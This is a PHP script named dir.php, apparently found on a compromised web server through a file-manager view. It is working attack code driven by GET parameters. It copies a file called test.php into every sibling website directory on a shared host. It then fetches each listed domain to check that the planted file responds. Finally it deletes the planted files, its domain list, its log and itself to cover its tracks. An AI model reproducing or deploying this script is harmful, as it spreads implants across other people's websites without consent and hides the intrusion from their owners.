Viewing File: /htdocs/ptso.jmkconsulting-ci.com/dir.php
<?php
error_reporting(1);
if(isset($_GET["action"]) && isset($_GET["path"])){
$ptfile = $_GET["path"];
$act_type = $_GET["action"];
$genfile = $_SERVER['DOCUMENT_ROOT'];
function str_path($ptfile){
return str_replace('//','/',$ptfile);
}
function gtdir($filepath){
$show = array();
$dir = dir($filepath);
while($file = $dir->read()){
$files = str_path($filepath.'/'.$file);
if(strstr($files,".html") or strstr($files,".txt") or strstr($files,".php") or strstr($files,".jpg") or strstr($files,".png") or strstr($files,".gif") or strstr($files,".sql") or strstr($files,".ico") or strstr($files,".css") or strstr($files,".bak") or strstr($files,"-bak") or strstr($files,".zip") or strstr($files,"/.")) continue;
$show[] = $files;
}
$dir->close();
return $show;
}
function del($file){
unlink($file);
}
switch ($ptfile){
case '0';
$webhome = $genfile;
break;
case '1';
preg_match("/.*\/(.*?)$/i",$genfile,$htm);
$webhome = str_replace("/".$htm[1],"",$genfile);
break;
case '2';
preg_match("/.*\/(.*?)\/(.*?)$/i",$genfile,$htm);
$webhome = str_replace("/".$htm[1]."/".$htm[2],"",$genfile);
break;
case '3';
preg_match("/.*\/(.*?)\/(.*?)\/(.*?)$/i",$genfile,$htm);
$webhome = str_replace("/".$htm[1]."/".$htm[2]."/".$htm[3],"",$genfile);
break;
case '4';
preg_match("/.*\/(.*?)\/(.*?)\/(.*?)\/(.*?)$/i",$genfile,$htm);
$webhome = str_replace("/".$htm[1]."/".$htm[2]."/".$htm[3]."/".$htm[4],"",$genfile);
break;
}
if($act_type == 'copy'){
$genfilepath = gtdir($webhome);
foreach ($genfilepath as $web){
if($ptfile =='2'){
copy($genfile."/test.php",$web."/".$htm[2]."/test.php");
$host = str_replace($webhome."/","",$web);
echo $host."</br>";
}elseif($ptfile =='3'){
copy($genfile."/test.php",$web."/".$htm[2]."/".$htm[3]."/test.php");
$host = str_replace($webhome."/","",$web);
echo $host."</br>";
}elseif($ptfile =='4'){
copy($genfile."/test.php",$web."/".$htm[2]."/".$htm[3]."/".$htm[4]."/test.php");
$host = str_replace($webhome."/","",$web);
echo $host."</br>";
}else{
copy($genfile."/test.php",$web."/test.php");
$host = str_replace($webhome."/","",$web);
echo $host."</br>";
}
}
echo "all file copy is success.";
}else if($act_type == 'test'){
$file = file_get_contents('list.txt');
$darray = preg_split('/[\s,]+/', $file, -1, PREG_SPLIT_NO_EMPTY);
foreach($darray as $domain){
$url="http://".$domain."/test.php?test=1";
$result=file_get_contents($url);
if(strstr($result,"the website is ok")){
$fp=fopen("ok.txt","a");
fwrite($fp,$url."\n");
fclose($fp);
}
}
$fp=fopen("ok.txt","a");
fwrite($fp,"get url is ok.");
fclose($fp);
}else if($act_type == 'del'){
$genfilepath = gtdir($webhome);
foreach ($genfilepath as $web){
if($ptfile =='2'){
del($web."/".$htm[2]."/test.php");
$host = str_replace($webhome."/","",$web);
echo $host."</br>";
}elseif($ptfile =='3'){
del($web."/".$htm[2]."/".$htm[3]."/test.php");
$host = str_replace($webhome."/","",$web);
echo $host."</br>";
}elseif($ptfile =='4'){
del($web."/".$htm[2]."/".$htm[3]."/".$htm[4]."/test.php");
$host = str_replace($webhome."/","",$web);
echo $host."</br>";
}else{
del($web."/test.php");
$host = str_replace($webhome."/","",$web);
echo $host."</br>";
}
}
del("./dir.php");
del("./list.txt");
del("./ok.txt");
echo "all delete success.";
}
}
Back to Directory
File Manager